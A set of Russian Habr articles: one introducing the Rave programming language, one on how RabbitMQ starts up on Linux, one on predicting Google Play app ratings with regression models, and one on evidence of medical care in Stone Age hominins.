Приветствую всех читателей данной статьи.
Тут я постараюсь описать год усердной, тяжёлой работы на моим собственным компилятором языка программирования Rave.
Предыстория
-----------
Я уже много раз делал различные языки программирования - их создания стало для меня чем-то вроде хобби после учёбы.
Однако все мои языки программирования вплоть до Rave были не очень удачными - некоторые были слишком сложны в использовании, некоторые имели неудобный синтаксис и низкую скорость работы.
В итоге, когда я всё переосмыслил, я решил надёжно подготовиться к созданию нового компилятора, синтаксис и устройство которого я попытался разметить перед написанием кода.
Что получилось, то получилось.
Основные языковые конструкции и синтаксис
-----------------------------------------
В языке программирования Rave весь синтаксис, в целом, похож на синтаксис языка С.
Это было сделано, чтобы С и С++ программисты могли за пару-дней полностью освоить Rave и свободно на нём писать.
Вот пример программы, которая выводит "Hello, world!" в консоль на Rave:
```
import // Импортируем файл io из глобальной папки std
void main { // Если функция без аргументов, скобки указывать необязательно
std::println("Hello, world!");
}
```
Как можно заметить, препроцессора в Rave нет.
Было решено полностью отказаться от него ещё в середине проектирования из-за его недостатков, которые перевешивали возможные преимущества его использования.
Также, вместо С функции printf и С++ функции cout у Rave есть своя функция - println.
В неё, как и в cout, можно вводить значения по-порядку, без указания типов аргументов в первой строке:
```
import
void main {
std::println("Текущий год - ",2023,".");
}
```
Но, если вы предпочитаете использовать printf, вы можете вызвать std::printf:
```
import
void main {
std::printf("Текущий год: %d\n",2023);
}
```
Одна из причин, почему я сам начал писать свои остальные проекты на Rave - это красивые лямбды(как бы смешно это не звучало):
```
import
void bow {
std::println("Bow");
}
void main {
void() func = bow;
void() func2 = void() {std::println("Func2");};
func();
}
```
Как и в С, в Rave есть указатели и арифметика указателей.
Она чуть более многословная, чем в С, однако и более безопасная, за счёт наличия runtime-проверок(отключаемых через флаг компилятора) и compile-time проверок:
```
void main {
void* a; // Переменные автоматически инициализируются в null(можно отключить)
a = itop(void*,0); // Ошибка
int b;
std::scanf("%d",&b);
a = itop(void*,b); // Если b == 0 - runtime ошибка
b = ptoi(a);
std::assert(b == 1, "b != 1");
}
```
Обработка ошибок также своя - она более легковесная, чем работа с исключениями, однако может показаться некоторым несколько неудобной:
```
import
// Оператор => является сокращением вызова команды return в конце блока функции
std::error func => std::error(10,"",0);
// Первый аргумент - значение
// Второй - сообщение, которое нужно вывести при ошибке
// Третий - код ошибки
void main {
// Все вызовы функций с возвращаемым типом std::error
// в try автоматически проверяются на ошибку, и возвращают
// исходный тип, который указан в std::error
try {
int base = func();
}
// base виден во всей функции
auto base2 = func();
base2.catch();
// Также, std::error поддерживает свой обработчик ошибки
base2.catch(void(char\* msg,int code) {
std::println("Error: '",msg,"', code: ",code);
std::exit(1);
});
}
```
Как я уже сказал, в Rave нету препроцессора, однако, есть система compile-time, популярная среди новых языков программирования:
```
@if(__RAVE_OS != "LINUX") {
@errorln("Данная библиотека не поддерживает платформу ",__RAVE_OS,".");
}
```
Через эти команды реализована обработка переменного количества аргументов.
Также, эти команды позволяют управлять флагами компилятора(вроде включения/выключения runtime-проверок), что может пригодится, если вы уверены, что участок кода не будет порождать ошибки и баги.
Rave не имеет классов, но структуры имеют все возможности классов - наследование(пока-что без возможности приведения дочерней структуры к родительской и наоборот), наличие методов и так далее.
Все эти концепции разрабатывались и писались в конце 2021 и на протяжении всего 2022 года.
Хоть это - лишь часть всего, что есть в Rave, я считаю, что этих примеров достаточно, чтобы оценить уровень работы, которую провёл лично я и участники моей команды.
Возможные преимущества
----------------------
Преимуществ перед тем же С у Rave предостаточно:
* Наличие базовой работы с ООП;
* Наличие улучшенной безопасности работы с указателями и улучшенной обработки ошибок;
* Отсутствие многих недостатков С, С++ и прочих языков(вроде того же препроцессора, хоть помечать его как недостаток довольно спорно), и так далее.
Возможные недостатки
--------------------
Так как Rave разрабатывает довольно небольшое количество людей, в компиляторе есть не найденные баги, а также не лучшая обработка ошибок(в самом компиляторе).
По этой самой причине стандартная библиотека не развита на уровне схожих языков программирования(вроде Zig), хоть и имеет весь базовый(и даже расширенный) функционал, необходимый для создания программ и библиотек.
Эпилог
------
Разработка Rave для меня и моей команды является полезным опытом в конструировании компиляторов, что может в будущем пригодится каждому из нас.
Если вы хотите поддержать наш проект или присоединиться к его пользователям, то вот [ссылка на наш сайт](https://ravelang.tk) и [GitHub](https://github.com/Ttimofeyka/Rave).
Спасибо за прочтение статьи. До встречи! | https://habr.com/ru/post/712036/ | null | ru | null |
# Процесс запуска RabbitMQ на Linux
#### Вступление
Запуск RabbitMQ сервера при более глубоком рассмотрении выглядит весьма запутанным делом. Почему это так и как все все обстоит на самом деле можно прочитать под катом.1. Версия RabbitMQ-Server — 2.1.0
2. ОС: Fedora
#### Коротко
Внимательно смотрим на PID'ы процессов. Ниже идет объяснение происходящего:````
-bash-3.2# /etc/init.d/rabbitmq-server start
root 7732 3834 0 11:54 pts/0 00:00:00 /bin/sh /etc/init.d/rabbitmq-server start
root 7733 7732 0 11:54 pts/0 00:00:00 /bin/sh /usr/sbin/rabbitmq-multi start_all 1
root 7740 7733 0 11:54 pts/0 00:00:00 su rabbitmq -s /bin/sh -c /usr/lib/rabbitmq/bin/rabbitmq-multi "start_all" "1"
rabbitmq 7741 7740 7 11:54 ? 00:00:00 /usr/lib64/erlang/erts-5.7.5/bin/beam.smp -- -root /usr/lib64/erlang -progname erl -- -home /var/lib/rabbitmq -- -pa /usr/lib/rabbitmq/lib/rabbitmq_server- 2.1.0/sbin/../ebin -noshell -noinput -hidden -K true -sname rabbitmq_multi7741 -s rabbit_multi -extra start_all 1
rabbitmq 7767 7741 0 11:54 ? 00:00:00 inet_gethost 4
rabbitmq 7768 7767 0 11:54 ? 00:00:00 inet_gethost 4
rabbitmq 7769 7741 0 11:54 ? 00:00:00 /bin/sh /usr/lib/rabbitmq/bin/rabbitmq-server -noinput
rabbitmq 7794 7769 0 11:54 ? 00:00:00 /bin/sh /usr/lib/rabbitmq/bin/rabbitmq-server -noinput
rabbitmq 7795 7794 0 11:54 ? 00:00:00 ps -ef
rabbitmq 7796 7794 0 11:54 ? 00:00:00 grep rabbit
-bash-3.2# echo $$
3834
````#### Подробнее
* Из shell (PID = 3834) запускается /etc/init.d/rabbitmq-server start;
* В init.d скрипте (PID = 7732) происходит подгрузка (source) конф. файла /etc/sysconfig/rabbitmq;
* Из init.d скрипта запускается shell скрипт su rabbitmq -s /bin/sh -c /usr/lib/rabbitmq/bin/rabbitmq-multi «start\_all» «1» (PID = 7740); Из него подгужается (source) /usr/lib/rabbitmq/bin/rabbitmq-evn, в котором подгужается /etc/rabbimq/rabbitmq.conf
* В /usr/lib/rabbitmq/bin/rabbitmq-multi запускается erlang (PID = 7741) с некоторым набором параметром. Наиболее интересным является -s rabbit\_multi. Указывающий функцию, которая будет вызвана вместо start (man erl);
* Из запущенного erlang приложения запускается shell скрипт /bin/sh /usr/lib/rabbitmq/bin/rabbitmq-server -noinput (PID = 7769), в котором и происходит запуск самого rabbitmq-server.
Вот код из rabbit\_mulri.erl, в котором происходит вызов shell скрипта:````
220 run_rabbitmq_server() ->
221 with_os([{unix, fun run_rabbitmq_server_unix/0},
222 {win32, fun run_rabbitmq_server_win32/0}]).
223
224 run_rabbitmq_server_unix() ->
225 CmdLine = getenv("RABBITMQ_SCRIPT_HOME") ++ "/rabbitmq-server -noinput",
226 erlang:open_port({spawn, CmdLine}, [nouse_stdio]).
227
228 run_rabbitmq_server_win32() ->
229 Cmd = filename:nativename(os:find_executable("cmd")),
230 CmdLine = "\"" ++ getenv("RABBITMQ_SCRIPT_HOME")
231 ++ "\\rabbitmq-server.bat\" -noinput",
232 erlang:open_port({spawn_executable, Cmd},
233 [{arg0, Cmd}, {args, ["/q", "/s", "/c", CmdLine]},
234 nouse_stdio, hide]).
````Настолько нетривиальный процесс запуска явно делается из-за мультиплатформенности самого приложения.##### Переменные окружения
Теперь у нас есть понимание того, как происходит процесс запуска rabbitmq-server, но нет понимая того как на него повлиять. Рассмотрим немного подробнее запуск самих erlang приложений.###### Запуск лаунчера (rabbit\_multi)
````
exec erl \
-pa "${RABBITMQ_HOME}/ebin" \
-noinput \
-hidden \
${RABBITMQ_MULTI_ERL_ARGS} \
-sname rabbitmq_multi$$ \
-s rabbit_multi \
${RABBITMQ_MULTI_START_ARGS} \
-extra "$@"
````###### Запуск сервера
````
exec erl
${RABBITMQ_EBIN_PATH}
${RABBITMQ_START_RABBIT}
-sname ${RABBITMQ_NODENAME}
-boot ${RABBITMQ_BOOT_FILE}
${RABBITMQ_CONFIG_ARG}
+W w \
${RABBITMQ_SERVER_ERL_ARGS} \
${RABBITMQ_LISTEN_ARG} \
-sasl errlog_type error \
-kernel error_logger '{file,"'${RABBITMQ_LOGS}'"}' \
-sasl sasl_error_logger '{file,"'${RABBITMQ_SASL_LOGS}'"}' \
-os_mon start_cpu_sup true \
-os_mon start_disksup false \
-os_mon start_memsup false \
-mnesia dir "\"${RABBITMQ_MNESIA_DIR}\"" \
${RABBITMQ_SERVER_START_ARGS} \
"$@"
````Думаю теперь видно какие переменные окружения влияют на каждый из erlang процессов. Изменять данные параметры рекомендуется в /etc/rabbitmq/rabbitmq.conf, который как мы помним подгружается при запуске /usr/lib/rabbitmq/bin/rabbitmq-multi.Вот так выглядит запущенный сервис с параметрами по-умолчанию:````
exec erl -noinput -sname rabbit@hostname -boot /var/lib/rabbitmq/mnesia/rabbit@hostname/plugins-scratch/rabbit \
-config /etc/rabbitmq/rabbitmq +W w +K true +A30 +P 1048576 -kernel inet_default_listen_options [{nodelay,true}] \
-kernel inet_default_connect_options [{nodelay,true}] \
-sasl errlog_type error -kernel error_logger '{file,'/var/log/rabbitmq/rabbit@hostname.log'}' \
-sasl sasl_error_logger '{file,'/var/log/rabbitmq/rabbit@hostname-sasl.log'}' \
-os_mon start_cpu_sup true -os_mon start_disksup false -os_mon start_memsup false -mnesia dir "/var/lib/rabbitmq/mnesia/rabbit@hostname" -noinput
````#### Итог по конф. файлам
В итоге за работу rabbitmq-server отвечают 3 конф. файла:* /etc/sysconfig/rabbitmq; — В нем принято указывать какие-либо низкоуровневые параметры (например ulimit)
* /etc/rabbitmq/rabbitmq.conf; — Настраиваются переменные окружения для запуска erlang
* /etc/rabbitmq/rabbitmq.config. — Настраивается сам rabbitmq-server
Надеюсь кому-то эта статья сэкономит немного времени. О том какие именно значения выставлять переменным, влияющим на работу сервера — это уже дело личное. Возможно я напишу об этом несколько позже. | https://habr.com/ru/post/105364/ | null | ru | null |
# Создаем инструменты для глубокого анализа рейтинга приложений в Google Play Store
**От переводчика:** сегодня [публикуем](https://medium.com/@ertebablu_7511/google-app-store-rating-prediction-ffa7343cf1be) для вас совместную статью трех разработчиков, Akaash Chikarmane, Erte Bablu и Nikhil Gaur, в которой рассказывается о методе прогнозирования рейтинга приложений в Google Play Store.
В этой статье мы покажем способы обработки информации, которые применяем для прогнозирования рейтинга. Также мы объясним, почему используем те или иные из них. Мы поговорим и о преобразованиях пакета данных, с которым работаем, и о том, чего можно добиться при помощи визуализации.
> **Skillbox рекомендует:** Двухлетний практический курс [«Я – веб-разработчик PRO»](https://iamwebdev.skillbox.ru/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEVPRO&utm_content=articles&utm_term=applicationrating).
>
>
>
> **Напоминаем:** *для всех читателей «Хабра» — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».*
### Почему мы решили это сделать
Мобильные приложения давно стали неотъемлемой частью жизни, все больше разработчиков занимаются их созданием в одиночку. Причем многие напрямую зависят от доходов, которые приносят приложения. Поэтому огромное значение для них имеет прогнозирование успеха.
Наша цель — определить общий рейтинг приложения, сделать это комплексно, поскольку слишком много людей судит о программе, опираясь лишь на количество «звездочек», поставленных пользователями. Приложения, имеющие 4-5 баллов, вызывают больше доверия.
### Подготовка
Большая часть этого проекта — работа с данными, включая предварительную обработку. Поскольку вся информация взята из Google Play Store, в полученных массивах содержалось немало ошибок. Мы использовали несколько моделей регрессии, включая Gradient-Boosting Regressor из пакета XGBoost, Linear Regression и RidgeRegression.
### Сбор и анализ данных
Набор данных, с которым мы работали, можно [получить здесь](https://www.kaggle.com/lava18/google-play-store-apps). Он состоит из двух частей. Первая — это объективная информация, вроде размера приложения, количества установок, категории, количества обзоров, типа приложения, его жанра, даты последнего обновления и т.п., и субъективная, то есть пользовательские обзоры.
Анализу подвергались и сами обзоры. После сравнения результатов мы решали, включать или нет данные обзора в финальную модель.
Объективный набор данных мы формировали по 12 функциям и одной целевой переменной (рейтинг). Пакет включал 10,8 тысяч единиц информации. Что касается пользовательских обзоров, то мы выбрали 100 наиболее релевантных и использовали пять функций для 64,3 тысяч элементов. Все данные собирались напрямую из Google Play Store, последний раз они обновлялись три месяца назад.
### Предварительная обработка данных
Начальный набор информации выглядел примерно так:
Установки, рейтинг, стоимость и размер — мы обрабатывали все это таким образом, чтобы получить числа, доступные пониманию машины. При обработке разных функций возникали проблемы вроде необходимости удаления «+». В стоимости мы убрали $. Объем приложения оказался самым проблемным в плане обработки, поскольку попадались как КБ, так и МБ, так что необходимо было проделать определенную работу по сведению всего к единому формату. Ниже показаны первичные данные и они же после обработки.
Кроме того, мы преобразовали некоторые данные, сделав их более релевантными нашей работе. Например, информация о последнем обновлении приложения была не слишком полезна. Для того чтобы сделать их более значимыми, мы преобразовали это в информацию о времени, прошедшем с последнего обновления. Код для выполнения такой задачи показан ниже.
```
from datetime import datetime
from dateutil.relativedelta import relativedelta
n = 3 # month bin size
last_updated_list = (new_google_play_store["Last Updated"]).values
last_n_months = list()
for (index, last_updated) in enumerate(last_updated_list):
window2 = datetime.today()
window1 = window2 - relativedelta(months=+n)
date_bin = 1
#print("{0}: {1}".format(index, last_updated))
last_update_date = datetime.strptime(last_updated, "%d-%b-%y")
while(not(window1 < last_update_date < window2)):
date_bin = date_bin + 1
window2 = window2 - relativedelta(months=+n)
window1 = window1 - relativedelta(months=+n)
last_n_months.append(date_bin)
new_google_play_store["Updated ({0} month increments)".format(n)] = last_n_months
new_google_play_store = new_google_play_store.drop(labels = ["Last Updated"], axis = 1)
new_google_play_store.head()
```
Также необходимо было привести к единому стандарту переменные с несколькими разнящимися значениями (например, «Жанр»). Как это было сделано, показано ниже.
```
from copy import deepcopy
from sklearn.preprocessing import LabelEncoder
def one_hot_encode_by_label(df, labels):
df_new = deepcopy(df)
for label in labels:
dummies = df_new[label].str.get_dummies(sep = ";")
df_new = df_new.drop(labels = label, axis = 1)
df_new = df_new.join(dummies)
return df_new
def label_encode_by_label(df, labels):
df_new = deepcopy(df)
le = LabelEncoder()
for label in labels:
print(label + " is label encoded")
le.fit(df_new[label])
dummies = le.transform(df_new[label])
df_new.drop(label, axis = 1)
df_new[label] = pd.Series(dummies)
return df_new
```
Для нормализации данных мы попробовали преобразование log1p. Перед ним:
После:
### Изучение данных
Как видим, игры и приложения для семьи — две самых популярных категории. Большинство приложений вдобавок входили в категорию «Для всех возрастов».
Логично, что приложения с максимальным рейтингом имеют больше обзоров, чем низкорейтинговые. У некоторых из них гораздо больше обзоров, чем у всех прочих. Возможно, причина этому — pop-up сообщение, призыв поставить оценку или другие приемы схожего характера.
Существует также зависимость между числом установок и количеством обзоров. Корреляция показана на скриншоте ниже.
Детальный анализ этой зависимости может дать понимание, почему у популярных категорий приложений больше установок и больше обзоров.
### Модели и результаты
Мы использовали разделение тестов для разбивки данных на наборы для тестирования и обучения. Перекрестная проверка с помощью GridSearchCV применялась для улучшения результатов обучения модели, чтобы найти лучшую alpha с помощью Лассо, регрессии Риджа и XGBRegressor из пакета XGBoost. Последняя модель в общем случае чрезвычайно эффективна, но, используя ее, нужно остерегаться подгонки результатов — это одна из опасностей, подстерегающих исследователей. Начальное среднеквадратичное значение без какой-либо особо тщательной обработки объектов (лишь кодирование и очистка) составляло около 0,228.
После логарифмического преобразования рейтингов среднеквадратичная ошибка снизилась до 0,219, что стало хоть и небольшим, но улучшением — мы поняли, что все сделали правильно.
Мы использовали линейную регрессию после оценки связи между обзорами, установками и оценками. В частности, проанализировали статистическую информацию этих переменных, включая r-квадрат и p, приняв в итоге решение о линейной регрессии. Первая используемая модель линейной регрессии показала корреляцию между установками и рейтингом в 0,2233, модель линейной регрессии «Наши обзоры» и «Рейтинги» дала нам MSE 0,2107, а комбинированная модель линейной регрессии, «Обзоры», «Установки» и «Оценки», дала нам MSE 0,214.
Кроме того, мы использовали модель KNeighborsRegressor. Результаты ее применения показаны ниже.
### Выводы
После того как первичные данные из Google Play Store были преобразованы в пригодный для использования формат, мы построили графики и вывели функции, чтобы понять корреляции между отдельными значениями. Затем использовали эти результаты для того, чтобы построить оптимальную модель.
Изначально мы считали, что найти ее будет не слишком сложно, так что у нас получится построить точную модель. Но задача оказалась сложнее, чем мы рассчитывали.
Кроме того, что было сделано, можно еще:
* создать отдельную модель для каждого жанра;
* создать новые функции из версий ОС Android, как мы это ранее сделали с датами;
* глубже обучить алгоритм — у нас было достаточное количество категорических и числовых точек данных;
* самостоятельно разобрать и очистить данные из Google App Store.
Все результаты работы [доступны здесь](https://github.com/ncgauroneal/DataSciencePrinciplesFinalProject).
> **Skillbox рекомендует:**
>
>
>
> * Онлайн-курс [«Профессия frontend-разработчик»](https://skillbox.ru/frontend-developer/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=FRENDEV&utm_content=articles&utm_term=applicationrating)
> * Практический курс [«Мобильный разработчик PRO»](https://skillbox.ru/agima/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=AGIMA&utm_content=articles&utm_term=applicationrating).
> * Практический годовой курс [«PHP-разработчик с 0 до PRO»](https://skillbox.ru/php/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PHPDEV&utm_content=articles&utm_term=applicationrating).
>
>
>
> | https://habr.com/ru/post/433764/ | null | ru | null |
# Из мрака дикости — к свету знаний. Каменный век
**Автор** `–`**врач Артемий Липилин. Научное сообщество** [**Фанерозой.**](https://vk.com/phanerozoi)
> *Необходимое предуведомление….*
>
>
---
*Первым в 1901 году Нобелевскую премию получил ныне полностью забытый французский поэт Сюлли-Прюдом. Следующим, в 1902 году – один из столпов исторической мысли, немец Теодор Моммзен, трезвый слог которого похож на допрос беспристрастного следователя. Через год Моммзен уйдёт в мир иной, а вместе с ним и историческая наука, в том виде, который он представлял. На смену ему придут историки, которые будут исходить из собственного жизненного опыта. Например, Арнольд Тойнби – истый христианин, и Христос для него – альфа и омега человеческой цивилизации – и не важно, рассматривает ли Тойнби Южно-американский ареал, Поднебесную или древний Восток. Или наш Лев Гумилёв – трактует историю исходя из своего чудовищного лагерного опыта. История для него одна большая зона, откуда могут бежать только яростно агрессивные пассионарии. Пассионарность для него – это и походы Чингисхана, и объединение Московского княжества и расширение Римской империи. Но ни Тойнби, ни Гумилёв не грешат против фактов, то есть соблюдают принцип интеллектуальной честности. Постарается соблюсти принцип интеллектуальной честности и автор этого цикла. Вторым немаловажным принципом является принцип историзма – не будем упрекать героев за то, что они не знали, казалось бы, очевидных принципов и явлений, они жили и работали в контексте конкретных знаний и представлений....*
---
> *Перейдём непосредственно к истории.*
>
>
> *«Наши предки, люди дикие и грубые…»*
>
>
Для начала определимся с границами и периодизацией истории первобытного мира (*с этого важного момента будет начинаться значительная часть заметок об истории естествознания*). История первобытной эры охватывает период от появления рода *Homo*(примерно 2 млн лет назад) до становления первых государств.
По своей продолжительности первобытная эпоха охватывает более 99% всей истории человечества. В истории первобытной эры в конце XX века было принято выделять три периода:
1. Становление первобытного общества: эпоха праобщины или первобытного человеческого стада (свыше 2 млн лет назад до 50 – 40 тыс. лет назад).
2. Зрелость первобытного общества: эпоха первобытной общины (ок. 50 – 40 тыс. лет назад до 10-ого тысячелетия до н.э.)
3. Разложение первобытного общества: эпоха классообразования (с 10-ого тысячелетия до 5-ого тысячелетия до н.э).
В наше время деление на «праобщины», «первобытные общины» и «классы» всё чаще считаются ретроспективными, и как говорит Дробышевский С.В., слишком абстрактными терминами. Однако, для понимания того, как становилась наука, мы всё же воспользуемся старым делением, по причине указанной в спойлере.
!спойлер!При редактировании данной статьи один из лидеров сообщества консультировался с учёным, антропологом Станиславом Владимировичем Дробышевским. Поскольку известно, что разделения на «классы» и «общества» устарели, вместо них чаще стали делить просто на эпохи. Однако, с таким подходом, внятно, невозможно проследить становление науки и рассмотреть границы превращения человека из «первобытного» в цивилизованного. Поиск литературы по новым историческим источникам нам ничего не дал. В литературе переход зачастую становится либо внезапным, либо создаются очередные гипотетические деления: первобытное общество, древнее общество, цивилизованное общесто и т. д. Чтобы разобраться в этом вопросе, мы и обратились к антропологу, который ожидаемо подтвердил, что новой достоверной литературы по этому вопросу нет, ибо вся старая терминология является абстрактной, а адекватную новую не завели. Поэтому, рискуя получить тапками по голове за то, что мы, якобы злые коммунисты ( хотя многие из нас имеют социалистические, коммунистические, анархические вгляды, тем не менее мы не считаем, **что это плохо и не вносим наши политические взгляды в науку, стараясь писать нейтрально. Это наши взгляды и судить за них нас никто не имеет права**) и пользуемся советской литературой, которую некоторые не заслуженно любят ровнять с жёлтой прессой, мы воспользуемся старой терминологией исключительно для того, чтобы показать, как примерно возникала наука. Пусть это и плохой инструмент, но лучше иметь плохой инструмент в поле, чем поднять белый флаг над проблемой и остаться без инструмента.
Итак, по интересному стечению обстоятельств, о врачевании в первобытную эпоху человеческой истории мы знаем значительное больше, чем о естественно-научном знании.
Достоверные научные знания базируются на данных археологии, палеопатологии, данных посменных источников (хотя, первобытная эпоха является бесписьменным периодом в истории человечества и не оставила нам посменных источников, в силу неравномерности исторического развития, так как переход к классовому обществу происходил неравномерно и растянулся более чем на 5 тысяч лет. Это позволило народам, раньше создавшим цивилизации и овладевшим письменностью, оставить многочисленные письменные памятники о своих первобытных соседях) и данных этнографии – данные этнографических исследований о первобытных обществах весьма фрагментарны и базируются, в основном, на основании археологических исследований. В то же время исследования более поздних первобытных сообществ (апополитейные) письменной эры, развивающихся синхронно с классовыми обществами (синполитейных) даёт обширный этнографический материал и позволяет экстраполировать полученные данные на первобытные сообщества далёкого прошлого. И если данные палеопатологии являются просто констатацией фактов о том, чем и как часто болели наши предки, а данные анализа письменных источников и этнографических материалов позволяют лишь с некоторой долей достоверности реконструировать знания далёких предков человека о врачевании, то самым надёжным источником будут являться археологические данные. Таким образом, большая часть из приведённых материалов будет базироваться на археологических, палеоантропологических исследованиях.
Человек не успел окончательно выделиться из животного мира, а уже начал накапливать и, в каком-то смысле, систематизировать знания об окружающем мире. Археологические исследования показывают, что уже ближайшие предки рода *Homo* – австралопитеки, наряду с собирательством, занимались охотой на мелких и крупных животных, т.е. были всеядными, следовательно, тысячелетний эмпирический опыт и трудовая практика древнейших людей позволяла им познавать целебные и токсичные свойства не только растений, но и частей животных, и всей окружающей их живой и неживой природы (минералов, вод и солнца) и использовать их для лечения своих недугов. Действительно, широко известен факт, что дикие животные в естественной среде обитания используют окружающие их растения и минеральное сырьё для лечения болезней. Знания об этом передаются путём научения из поколения в поколение.
> *Не отсюда ли начинает свою историю медицина? Практически от лишённых человеческого разума существ к вершинам современного знания – через живую передачу от учителя к ученику.*
>
>
В одной из теорий о происхождения бипедальности (двуногости - прямохождения) человека значилась такая версия, что обезьяноподобные предки человека встали на две ноги, чтобы заботиться, в том числе о заболевших и раненых соплеменниках – укрыть их от хищников, принести воды, пищи или лекарственных растений. Кто знает, может быть, зачаточная, полуинстинктивная, врачебная деятельность сыграла значительную роль в становлении человека как вида.
Первыми свидетельствами о заботе о соплеменниках стали более частые находки скелетов тяжелобольных и пожилых особей, которые могли выжить, только находясь под защитой коллектива сородичей и получая достаточное количество пищи, которую сами уже не моли добыть. Одним из самых ранних таких примеров являются останки *Homo erectus georgicus*- вернее, череп Дманиси 3444 возрастом 1,85 – 1,77 млн лет.
Череп Дманиси 3444 — одно из древнейших свидетельств заботы о беспомощных соплеменникахПримечательным в этом черепе является зарастание всех швов на черепе, выпадение практически всех зубов с зарастанием альвеол, т.е. задолго до смерти. Дикие животные, утратившие все зубы, никогда не выживают, так как соплеменники не склонны заботиться о них. Соответственно, обитателям стоянки из Дманиси была присуща забота о беспомощном ближнем. Казалось бы, беспомощный старик является не более чем обузой для первобытных людей.
> *Что же заставляло проявлять такую длительную заботу?*
>
>
Пожилые и беспомощные люди стали не просто конкурентами за ограниченные ресурсы, но и хранителями бесценного опыта. В условиях, когда средний индивид доживает до 30 лет, редкий «старик» становится необычайно важным членом социума.
Забота об искалеченных соплеменниках – относительно распространённое явление для людей первобытной эры. Обитатели северного Ирака (около 50 тыс. лет назад) не один год заботились об индивиде Шанидар I – он перенёс травму лба и, вероятно, был глух. У него не было правой руки по локоть, вероятно, левого глаза, он хромал на правую ногу в результате перелома стопы, тем не менее он дожил до примерно 45 лет – весьма солидный по тем временам возраст – и погиб при обвале свода пещеры.
Череп и кости верхней конечности индивида Шанидар I.Еще старше шестидесятилетний мужчина Шанидар V, весьма нездоровый индивид, в довершение получивший травму лба и страдавший от артрита. Помимо него, есть ещё один известный инеандерталец из Ла Шапелль-о-Сен, который лишился за свою жизнь практически всех зубов.
Трехмерная реконструкция позвоночного столба неандертальца Ла Шапелль-о-Сен с признаками спондилита. Прекрасно видны следы болезни, которые приносили страдания данному индивиду.Его рот едва открывался, позвонки поражены столь выраженным спондилитом (спондилёз инфекционной природы), что позвоночный столб практически потерял возможность сгибаться, причём часть из позвонков вследствие патологии, а не почтенного возраста – позднее это состояние было обозначено как болезнь Баструпа, которая возникает при значительных нагрузках на позвоночник во взрослом возрасте.
То же можно сказать о крупных суставах конечностей. Добавляли сложности и зажившие переломы рёбер, а костные разрастания вокруг наружного слухового прохода говорят о том, что, возможно, он тоже был глух. Именно этот набор патологий и породил представление о неандертальцах как о согбенных троглодитах.
Слепок черепа неандертальца из Ла Шаппель-о-Сен.У другого «известного» неандертальца – Ла-Ферраси I – описан артроз крестцово-подвздошного сочленения.
Были и другие подобные. Вообще продолжать этот список можно ещё долго: Крапина 180, Кеббара 2, Шанидар 3, Киик-Коба 1 – но это говорит скорее о хорошем здоровье первобытных людей и тяжёлой первобытной жизни, чем о врачебных знаниях первобытных людей.
Реплика реконструкции черепа неандертальца из Ла Шаппель-о-Сен выполненная Kesh Corvus, мастером команды Фанерозой.Кстати существует т.н. называемый палеопатологический парадокс: чем больше на костных останках следов заживших травм и прижизненных деформаций, тем более здоровым был человек при жизни: ведь, чтобы болезнь оставила видимые изменения, нужен большой отрезок времени. А если на скелете нет никаких следов, вероятнее всего, человек не обладал богатырским здоровьем – погиб от заболевания практически без сопротивления.
> *Тем не менее у учёных есть вполне достоверные знания о первобытном этапе медицинских знаний.*
>
>
Как ни странно, одно из самых древних свидетельств о применении лекарственных средств относится не к предкам человека разумного, а человека неандертальского. Останки носят наименование Шанидар IV. Скелет принадлежал мужчине возрастом примерно 30 – 40 лет. Останки носят на себе следы бурной жизни, но последнюю точку поставила травма, полученная им скорее всего во время охоты. Неандертальский мужчина получил перелом одного из нижних рёбер (VII или VIII справа). По ребрам видно, что травма заживала, но что-то пошло не так, и первобытный охотник скончался. Вероятнее всего причиной этому послужила нагноившаяся гематома или, возможно, травма почки.
Останки индивида Шанидар IV и грот, где они были обнаружены.Но самое интересное – это не то, от чего погиб неандерталец, а что было обнаружено в погребении. При микроскопическом исследовании проб грунта в нём было обнаружено 28 видов растений, в основном пыльцы. Причём эта пыльца образовывала скопления – так, как будто в могилу были положены пучки трав. Казалось бы, ну, и что в этом удивительного?
У неандертальцев был крайне примитивный погребальный обряд, тем не менее они могли положить в погребение букеты цветов. Но при палиопалинологическом (споро-пыльцевом анализе) было установлено, что непосредственно цветы принадлежали всего к семи видам: *тысячелистнику, жёлтому солнечному васильку, крестовнику, гадючьему луку, алтею и эфедре*. Все эти растения являются лекарственными и применяются примерно в одних и тех же случаях. Все они используются для снятии отёка, остановки кровотечения и обезболивания, в основном при заболеваниях почек. Современные курды, обитатели севера Ирака, и сейчас используют эти растения при заболеваниях почек.
Следующий интересный случай применения медицинских знаний относится уже к предкам человека разумного современного типа – возрастом приблизительно 14 тыс. лет.
Скелет человека из Рипаро Виллабруна. Скелет лежал на спине в узкой неглубокой яме. Источник: https://vk.com/wall13101842\_2951В 1988 году в итальянском гроте Рипаро Виллабруна обнаружен скелет мужчины возрастом примерно 25 лет. Жизнь явно не баловала этого индивида: диффузный пороз теменных и затылочных костей, и многочисленные отверстия в верхней стенке глазницы явно свидетельствуют о перенесённой в раннем возрасте анемии, вероятнее всего, из-за инфекционного или паразитарного заболевания.
Поясничные позвонка изношены и несут на себе признаки наличия грыж Шморля, поясничный гиперлордоз (изгиб вперёд) говорит о высоких нагрузках на позвоночник.
Следы кариеса на зубах человека из человека из Рипаро Виллабруна. Источник: https://vk.com/wall13101842\_2951
Но самое интересное – это следы кариеса на правом третьем моляре, «зубе мудрости». Кариес – заболевание весьма нехарактерное для охотников-собирателей и обнаружен всего несколько раз. Но и это не самое удивительное. Поверхность кариозной полости оказалось сильно исцарапанной: по результатам экспериментальных исследований, аналогичные изменения можно получить только при воздействии на зуб кремнёвой микропластинкой.А именно такие пластинки умели изготавливать соплеменники мужчины, создатели культуры эпиграветт.
Судя про трассологическому анализу, первобытный стоматолог старался максимально вычистить кариозную полость (остаётся только догадываться, что перенёс этот мужчина во время манипуляции). Царапины на наружной поверхности зуба сильно истёрты – значит, человек пользовался пролеченным зубом ещё довольно долго после операции. Кроме того, исследования содержимого «дупла» показали наличие вещества, похожего на пчелиный воск. Достоверно утверждать невозможно, но существует высокая вероятность того, что после санации кариозной полости дантист каменного века положил в больной зуб восковую пломбу.
